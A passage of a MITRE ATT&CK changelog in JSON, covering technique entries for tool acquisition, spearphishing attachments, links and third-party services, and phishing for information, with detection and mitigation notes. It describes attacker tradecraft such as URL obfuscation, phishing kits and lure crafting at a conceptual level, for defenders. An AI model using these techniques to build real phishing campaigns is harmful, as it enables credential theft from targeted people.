A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1588/002", + "external_id": "T1588.002" + }, + { + "source_name": "Analyzing CS Dec 2020", + "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", + "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/" + }, + { + "source_name": "Recorded Future Beacon 2019", + "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "SOCCRATES", + "Mnemonic AS" + ], + "x_mitre_data_sources": [ + "Malware Repository: Malware Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-16 16:20:16.431000+00:00\", \"old_value\": \"2021-10-17 16:17:55.499000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved September 16, 2024.\", \"old_value\": \"Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020.\", \"new_path\": \"root['external_references'][2]['description']\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://www.recordedfuture.com/blog/identifying-cobalt-strike-servers\", \"old_value\": \"https://www.recordedfuture.com/identifying-cobalt-strike-servers/\", \"new_path\": \"root['external_references'][2]['url']\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0004: Malware Repository (Malware Metadata)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 19:05:18.137000+00:00", + "modified": "2024-10-15 16:42:01.552000+00:00", + "name": "Spearphishing Attachment", + "description": "Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.(Citation: Unit 42 DarkHydrus July 2018) Spearphishing may also involve social engineering techniques, such as posing as a trusted source.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566/001", + "external_id": "T1566.001" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.", + "url": "https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.\n\nMonitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 16:42:01.552000+00:00\", \"old_value\": \"2024-01-31 14:09:27.066000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\", \"old_value\": \"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1031: Network Intrusion Prevention", + "M1049: Antivirus/Antimalware", + "M1054: Software Configuration" + ], + "new": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0022: File (File Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-02 19:24:00.951000+00:00", + "modified": "2024-10-15 15:16:30.272000+00:00", + "name": "Spearphishing via Service", + "description": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: Lookout Dark Caracal Jan 2018) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1566/003", + "external_id": "T1566.003" + }, + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:16:30.272000+00:00\", \"old_value\": \"2024-01-31 14:15:55.690000+00:00\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1021: Restrict Web-Based Content", + "M1049: Antivirus/Antimalware" + ], + "new": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:07:01.502000+00:00", + "modified": "2024-05-31 04:18:44.570000+00:00", + "name": "Phishing for Information", + "description": "Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.\n\nAll forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.\n\nAdversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nPhishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nPhishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1598", + "external_id": "T1598" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Avertium callback phishing", + "description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.", + "url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing" + }, + { + "source_name": "TrendMictro Phishing", + "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.", + "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html" + }, + { + "source_name": "Sophos Attachment", + "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.", + "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/" + }, + { + "source_name": "cyberproof-double-bounce", + "description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.", + "url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends" + }, + { + "source_name": "PCMag FakeLogin", + "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.", + "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Microsoft OAuth Spam 2022", + "description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/" + }, + { + "source_name": "ThreatPost Social Media Phishing", + "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.", + "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/" + }, + { + "source_name": "Proofpoint-spoof", + "description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.", + "url": "https://www.proofpoint.com/us/threat-reference/email-spoofing" + }, + { + "source_name": "GitHub Phishery", + "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.", + "url": "https://github.com/ryhanson/phishery" + }, + { + "source_name": "Palo Alto Unit 42 VBA Infostealer 2014", + "description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.", + "url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Robert Simmons, @MalwareUtkonos", + "Ohad Zaidenberg, @ohad_mz", + "Liora Itkin", + "Liran Ravich, CardinalOps", + "Scott Cook, Capital One" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Content", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Flow" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nWhen it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.\n\nMonitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-31 04:18:44.570000+00:00\", \"old_value\": \"2023-09-08 20:28:49.600000+00:00\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\", \"old_value\": \"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:08:57.386000+00:00", + "modified": "2024-05-31 04:18:44.568000+00:00", + "name": "Spearphishing Attachment", + "description": "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon the recipient populating information then returning the file.(Citation: Sophos Attachment)(Citation: GitHub Phishery) The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1598/002", + "external_id": "T1598.002" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "Sophos Attachment", + "description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links \u2013 when phishers bring along their own web pages. Retrieved October 20, 2020.", + "url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "GitHub Phishery", + "description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.", + "url": "https://github.com/ryhanson/phishery" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Philip Winther", + "Sebastian Salla, McAfee", + "Robert Simmons, @MalwareUtkonos" + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_attack_spec_version']\": \"3.2.0\", \"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-05-31 04:18:44.568000+00:00\", \"old_value\": \"2021-04-15 03:41:33.335000+00:00\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\", \"old_value\": \"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf\", \"new_path\": \"root['external_references'][1]['url']\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0015: Application Log (Application Log Content)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-02 17:09:50.723000+00:00", + "modified": "2024-05-31 04:18:44.567000+00:00", + "name": "Spearphishing Link", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an \u201c@\u201d symbol: for example, `hxxp://google.com@1157586937`.(Citation: Mandiant URL Obfuscation 2023)\n\nAdversaries may also embed \u201ctracking pixels\u201d, \"web bugs\", or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address.(Citation: NIST Web Bug) (Citation: Ryte Wiki) These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. (Citation: Ryte Wiki)(Citation: IAPP)\n\nAdversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods.(Citation: ZScaler BitB 2020)(Citation: Mr. D0x BitB 2022)\n\nAdversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539)) in addition to their username and password. This may enable the adversary to then bypass MFA via [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004).(Citation: Proofpoint Human Factor)\n\nAdversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as \u201cquishing\u201d). These links may direct a victim to a credential phishing page.(Citation: QR-campaign-energy-firm) By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans.(Citation: qr-phish-agriculture) These QR codes may be scanned by or delivered directly to a user\u2019s mobile device (i.e., [Phishing](https://attack.mitre.org/techniques/T1660)), which may be less secure in several relevant ways.(Citation: qr-phish-agriculture) For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile\u2019s smaller form factor.\n\nFrom the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1598/003", + "external_id": "T1598.003" + }, + { + "source_name": "ACSC Email Spoofing", + "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", + "url": "https://web.archive.org/web/20210708014107/https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + }, + { + "source_name": "TrendMictro Phishing", + "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.", + "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html" + }, + { + "source_name": "IAPP", + "description": "IAPP. (n.d.). Retrieved March 5, 2024.", + "url": "https://iapp.org/resources/article/web-beacon/" + }, + { + "source_name": "QR-campaign-energy-firm", + "description": "Jonathan Greig. (2023, August 16). Phishing campaign used QR codes to target large energy company. Retrieved November 27, 2023.", + "url": "https://therecord.media/phishing-campaign-used-qr-codes-to-target-energy-firm" + }, + { + "source_name": "PCMag FakeLogin", + "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.", + "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages" + }, + { + "source_name": "Microsoft Anti Spoofing", + "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", + "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide" + }, + { + "source_name": "Mr. D0x BitB 2022", + "description": "mr.d0x. (2022, March 15). Browser In The Browser (BITB) Attack. Retrieved March 8, 2023.", + "url": "https://mrd0x.com/browser-in-the-browser-phishing-attack/" + }, + { + "source_name": "Mandiant URL Obfuscation 2023", + "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", + "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse" + }, + { + "source_name": "NIST Web Bug", + "description": "NIST Information Technology Laboratory. (n.d.). web bug. Retrieved March 22, 2023.", + "url": "https://csrc.nist.gov/glossary/term/web_bug" + }, + { + "source_name": "Proofpoint Human Factor", + "description": "Proofpoint. (n.d.). The Human Factor 2023: Analyzing the cyber attack chain. Retrieved July 20, 2023.", + "url": 